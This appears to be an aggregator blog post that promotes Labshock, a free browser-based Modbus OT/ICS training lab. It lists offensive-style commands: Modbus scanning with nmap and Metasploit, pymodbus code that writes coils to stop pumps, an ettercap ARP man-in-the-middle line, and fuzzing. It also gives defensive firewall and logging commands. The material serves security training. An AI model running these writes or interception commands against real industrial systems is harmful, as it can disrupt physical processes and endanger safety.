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Zakhar Bernhardt’s Labshock v1.6.1 introduces a FREE Modbus OT/ICS lab for hands-on security testing, including pentesting, traffic analysis, and real-world simulations—all in a browser-based environment.
🔧 What’s Inside the Modbus Lab?
- Modbus Fundamentals
- RTU, TCP, ASCII modes
- Master/Slave model
- Function codes
- Working with Data
- Coils (on/off)
- Input & Holding Registers
- Read/Write operations
- Hands-On Practice
- Simulate devices
- Web-based pentesting framework
- Live traffic analysis
- Attack Scenarios
- Scanning Modbus devices
- Stopping pumps by writing to coils
- Modifying register values (e.g., pump speed)
- Analyzing cleartext traffic
🎯 Why Modbus Security Matters
Modbus is fast but insecure, making it a prime target in OT/ICS environments.
You Should Know: Practical Modbus Security Testing
1. Scanning for Modbus Devices
Use Nmap to detect Modbus TCP devices:
nmap -p 502 --script modbus-discover <target_IP>
2. Reading Modbus Registers (Python)
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('<target_IP>')
client.connect()
response = client.read_holding_registers(address=0, count=10, unit=1)
print(response.registers)
client.close()
3. Writing to Modbus Coils (Attack Simulation)
from pymodbus.client import ModbusTcpClient
client = ModbusTcpClient('<target_IP>')
client.connect()
client.write_coil(address=0, value=True, unit=1) Turn on a coil
client.close()
4. Capturing Modbus Traffic (Wireshark/Tshark)
tshark -i eth0 -Y "modbus" -w modbus_traffic.pcap
5. Exploiting Cleartext Modbus (Man-in-the-Middle)
Intercept traffic using Ettercap:
ettercap -T -i eth0 -M arp /<target_IP>/ /<gateway_IP>/
6. Modbus Enumeration with Metasploit
msfconsole use auxiliary/scanner/scada/modbusdetect set RHOSTS <target_IP> run
What Undercode Say
Modbus remains highly vulnerable due to its lack of encryption. Key risks:
– Unauthorized register writes can disrupt industrial processes.
– Replay attacks can manipulate sensor data.
– Denial-of-Service (DoS) can halt critical operations.
Critical Commands for ICS Security
- Detecting PLCs:
plcscan -d <target_IP>
- Modbus Fuzzing (for vuln testing):
python3 modbus-fuzzer.py -t <target_IP> -p 502
- Securing Modbus with Firewall Rules:
iptables -A INPUT -p tcp --dport 502 -j DROP
- Logging Modbus Traffic (for forensics):
tcpdump -i eth0 port 502 -w modbus_log.pcap
Expected Output:
A fully interactive Modbus lab where you can:
✅ Simulate attacks
✅ Analyze traffic
✅ Test defenses
Prediction:
As OT/ICS attacks rise, tools like Labshock will become essential for training cybersecurity professionals in industrial network security.
URLs (if applicable):
References:
Reported By: Zakharb Modbus – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
